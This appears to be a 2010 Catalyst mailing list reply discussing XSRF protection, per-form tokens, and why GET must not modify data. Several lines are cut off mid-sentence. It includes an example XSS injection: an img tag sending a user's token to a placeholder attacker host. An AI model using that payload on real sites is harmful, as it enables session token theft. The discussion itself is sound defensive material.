[Catalyst] Picking template type based on input
bobtfish at bobtfish.net
Fri May 21 16:59:09 GMT 2010
On 29 Mar 2010, at 10:12, Jon mailinglists wrote:
>>> That's why I was talking auth tokens or some other means of
>> A guess so, given that auth tokens are an XSRF protection really :)
>>> I suppose more people have thought of that, and this isn't really
>>> Catalyst specific but very general. What I wonder though is if
>>> any built in mechanism to protect from that since if I haven't got
>>> all wrong are cookie based sessions pretty much useless as security.
>> There are a number of pre-baked solutions to this on CPAN / in
>> various form
>> That said, there is no generic thing you can plug into an arbitrary
>> application which will try to protect you.
>> It would be possible to parse the HTML your app output, add an
>> extra hidden
>> field to any forms you had generated in the page, and then look for a
>> previously generated token and redirect / refuse the request if it
>> However this would obviously not catch forms generated purely from
>> doubtful of
>> its value in more complex applications. I can certainly remember
>> the stuff
>> which tries to achieve this that is baked into Rails making me
>> scream :)
> But if one has a header.tt2, and that header has an <input
> be able to get that value and add it to each form generated. Wouldn't
> that solve the problem, and also make sure that a request from a user
> is really that and not coming from an evil site. Or is that a naive
you click a button, adds a <form> element (and etc) to the page, then
clicks the submit button, that form is not going to have the XSRF
protection added (and ergo will fail when submitted).
I'd go with if you're doing weird things like that, then buyer beware..
> With the risk of making you scream here:
> Wouldn't it make sense to have and option in Authorization which
> generates and stores a token server side, in either a database or in
> the session (like Bill seems to do) at login time. If I'm not horribly
> mistaken would one token be enough for a session since the attack is
> blind and there's no way for a 3rd party to figure it out unless using
> brute force.
Not really. If one part of the site has XSS in it, and the token is
link to the part of the site with the XSS, which when run snarfs the
token, and injects <img src="http://i.am.evil/find_this.cgi?
token=XXXXXX width="1" height="1" /> into the bottom of the page..
I now have the user's token, and so I can submit any form in the app
For real protection you _at least_ need to generate one token per form
you display, ad keep a list of 'could be submitted' tokens.. For
protection against all cases, you need to validate that the token
presented was a component of the form which is actually being
> If that is correct, one can go about playing CRUD and allowing
> /member/get_info?token=... and /member/set_info?token=... with GET
Well, if you're allowing /set_info to be a GET request, you already
lost, don't do that :)
Catalyst::ActionRole::MatchRequestMethod is your friend.
>> That said - the wiki could very much benefit from a few pages which
>> explained the issue(s) surrounding XSS and XSRF in more detail,
>> along with a
>> rundown of what various form systems provide to mitigate these
>> issues (and
>> any other more generic modules available).
>> Would you be prepared to write (even some) of this - given you seem
>> already be doing the research?
> I just had a look and the wiki gives me an internal server error.
That was, of course, subsequently fixed.
> can try to add some info regarding this, it might be better than
> nothing but as I said, my English is far from perfect and it becomes
> extra obvious when trying to explain something complex.
> One thing I really think should be added there is a more verbose
> explanation to the note in Catalyst::Manual::Tutorial::04_BasicCRUD:
> Note: In practice you should never use a GET request to delete a
> record -- always use POST for actions that will modify data. We are
> doing it here for illustrative and simplicity purposes only.
> Since this is potentially as nasty as storing untainted data in the
> database, both for cases where GET is logical
> (/get_really_private_data) and cases like this where one is
> deleting/updating global data in a database.
Yes, we could do with more info. I disagree that your bad English
would be a limitation.
We have a superb doc team who can help with that, and the tech team
are happy to help with the finer points of the explanation.
However YOU are still the ONLY person who knows _WHAT_ needs
On a slightly different note - I wasn't trying to be entirely
pessimistic about making a component which would try to help take care
of XSRF for you, I was just saying that it couldn't cover all possible
cases with no user intervention.
I think there would be a lot of value to someone coming up with
something which would solve the simple cases (when you're emitting
static HTML forms into your page), and help with the harder ones.
More information about the Catalyst